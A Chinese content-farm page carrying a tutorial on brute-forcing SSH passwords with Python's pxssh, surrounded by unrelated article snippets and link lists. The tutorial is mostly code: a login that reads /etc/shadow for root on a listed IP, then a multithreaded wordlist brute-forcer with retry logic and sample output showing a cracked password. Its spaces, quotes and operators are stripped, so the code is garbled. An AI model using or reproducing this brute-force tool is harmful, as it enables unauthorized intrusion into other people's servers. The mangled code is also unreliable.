生活工程体验信仰哲学精神
投稿投诉
精神世界
探索历史
哲学文学
艺术价值
信仰创造
境界审美
体验技术
技能工具
工程信息
医学生产
生活运用
操作能力

利用暴力破解密码

11月23日 相见欢投稿
  在前面我们利用Pexpect实现了SSH登录。不过这种方式已经有一个现成的包做好了。它叫Pxssh首先用一个小例子来感受一下它的用法:
  frompexpectimportpxsshdefsendcommand(s,cmd):s。sendline(cmd)s。prompt()print(s。before)defconnect(host,user,password):try:spxssh。pxssh()s。login(host,user,password)returnsexcept:print〔〕ErrorConnectingexit(0)sconnect(115。28。24。44,root,xxx)sendcommand(s,catetcshadowgreproot)
  然后接下来我们用它来实现暴力破解SSH密码。
  我们只需要对我们的脚本稍作修改就能暴力破解SSH认证。除了增加一些选项解析主机名,用户名和密码文件,我们唯一要做的就是稍微修改一下connect()函数。如果login()函数成功登陆没有异常的话,我们将打印消息提示发现密码,然后更新全局布尔值标识。否则,我们将捕捉异常。如果异常显示密码refused,我们知道密码错误,直接返回。然而,如果异常显示socket套接字readnonblocking,我们可以假设这个SSH服务器超过了最大连接数,然后我们会睡眠几秒再次尝试相同的密码连接。此外,如果异常显示pxssh难以获得命令提示符,我们将睡眠一会使它能获取命令提示符。值得注意的是我们包含一个布尔值在connect()的函数参照中。connect()函数可以递归的调用其他的connect()函数,我们希望调用者可以释放连接锁信号量。
  下面是一个例子,把密码写到一个文件里:
  codingUTF8frompexpectimportpxsshimportoptparseimporttimeimportthreadingmaxConnections5connectionlockthreading。BoundedSemaphore(valuemaxConnections)FoundFalseFails0defconnect(host,user,password,release):globalFound,Failstry:spxssh。pxssh()s。login(host,user,password)print(〔〕PasswordFound:password)FoundTrueexceptExceptionase:ifreadnonblockinginstr(e):Fails1time。sleep(5)connect(host,user,password,False)elifsynchronizewithoriginalpromptinstr(e):time。sleep(1)connect(host,user,password,False)finally:ifrelease:connectionlock。release()defmain():parseroptparse。OptionParser(usageH)parser。addoption(H,desttgtHost,typestring,helpspecifytargethost)parser。addoption(f,destpasswdFile,typestring,helpspecifypasswordfile)parser。addoption(u,destuser,typestring,helpspecifytheuser)(options,args)parser。parseargs()hostoptions。tgtHostpasswdFileoptions。passwdFileuseroptions。userifhostNoneorpasswdFileNoneoruserNone:print(parser。usage)exit(0)fnopen(passwdFile,r)forlineinfn。readlines():ifFound:print〔〕Exiting:PasswordFoundexit(0)ifF5:print〔!〕Exiting:TooManySocketTimeoutsexit(0)connectionlock。acquire()passwordline。strip()。strip()print(〔〕Testing:str(password))tthreading。Thread(targetconnect,args(host,user,password,True))t。start()ifnamemain:main()
  运行
  pythonpxsshssh。pyH111。33。24。44fpassword。txturoot〔〕Testing:08301ly〔〕Testing:abcs〔〕Testing:acord〔〕Testing:0022〔〕PasswordFound:abcs
投诉 评论 转载

高职高专篮球体育教学和比赛过程中掌握篮球规则是提摘要:本文通过学校篮球比赛资料统计,指出高校篮球训练中应加强规则教学的必要必,通过对问题的深入分析和比较,指出教练员也必须加强篮球规则学习,才能提高篮球训练水平。关键词:……热感冒汗蒸易致病情加重预防夏季热感冒的日常措施汗蒸治感冒是现在一种比较特别的疗法,但并不代表所有的感冒都合适。对于热感冒来说,是否可以用这个方法呢?和360常识网一起来了解一下吧。热感冒有热伤风和风热感冒两种,它们是……静静的白桦林小雪在没有认识他以前,是个品学兼优无忧无虑的女孩,她的家住在一个林区小镇上,她每天上学的路上,都要穿过一片小白桦树林,在白桦林的中间有一户人家,红砖白瓦的两间小平房,窗前用桦树……乘客地铁内摔倒能索赔吗地铁是我们生活中常用来出行的交通工具,那么乘客地铁内摔倒能索赔吗?请看下面的内容:《侵权责任法》第七十三条从事高空、高压、地下挖掘活动或者使用高速轨道运输工具造成他人损害……周末正能量短语一、有一种时光,我们每天都盼望,那就是周末;有一种运动,充满了大自然的味道,那就是户外运动。周末到了,一起参加户外运动吧,享受生活!二、虽然祝福是一种形式,却能给心灵带来……在酒吧吸烟被发现如何处罚很多人认为《控烟条例》订得很好看,但是执法难度重重,还是一纸空文,形同虚设,倒不如实实在在订立可行性强的条例,宣传到位,百姓自觉遵守。那么酒吧吸烟被发现如何处罚呢?下面本站就来……利用暴力破解密码在前面我们利用Pexpect实现了SSH登录。不过这种方式已经有一个现成的包做好了。它叫Pxssh首先用一个小例子来感受一下它的用法:frompexpectimportp……菊槐绿茶平肝袪风清火降压功效菊槐绿茶配方:菊花,槐各6克,绿茶12克。制法:菊花,槐花,绿茶置茶壶内,冲以沸水,加盖,浸泡10分钟即可。用法:每日1剂。不拘时频频饮服。……中国最宽的瀑布九寨沟诺日朗瀑布震后两年再开放比震四川省九寨沟是我国非常著名的旅游景点,每年都有很多国内外的游客慕名前去参观、游玩,其中九寨沟诺日朗瀑布被称为中国最宽的瀑布,同时也是86版西游记经典场景取景地,可是在两年前九寨……关键词推广数据分析选择正确的岔路我们在做推广的时候(特别是搜索引擎竞价等),会不会遇到这样的情况:推广账户已经优化一段时间了,数据、质量度、账户结构相对稳定。领导希望我们的账户更进一步,可是面对一个成熟的账户……受苦造句用受苦造句大全91、在战场上最大的压力,不是自己的生死问题,而是眼睁睁看着同伴受苦,却无能为力。92、千山万水只等闲,风吹雨打家常饭,受苦受累不言弃,心中无怨亦无悔,镜头捕捉情与感,笔……打造爆款前这个指标一定要做好想要成为爆款,先要成为搜索引擎喜欢的产品,才会被推送给目标人群,为了找出搜索引擎喜欢什么样的产品,做了大量的数据分析,发现了一些数据指标,下面跟随小编去看看是哪些吧!1。……
你的态度决定你是否有成就盆栽梅花怎样育苗和管理北方冬天适合养什么花盘点种极耐寒花卉市场走势的分析有毒食品鉴别方法做好职业生涯范文透视职业生涯核辐射如何扩散的潘金莲与西门庆潘金莲真是个不守妇道之人也做造句用也做造句大全年味渐淡的春节艺龙宣布与同程结束战略合作鲢鱼吃什么吃蚯蚓吗

友情链接:中准网聚热点快百科快传网快生活快软网快好知文好找新乡渭南铜川松江山南雅安松原荃湾淮北昭通平凉鞍山赤峰苗栗保亭池州渝北株洲陇南濮阳三沙秀山密云鸡西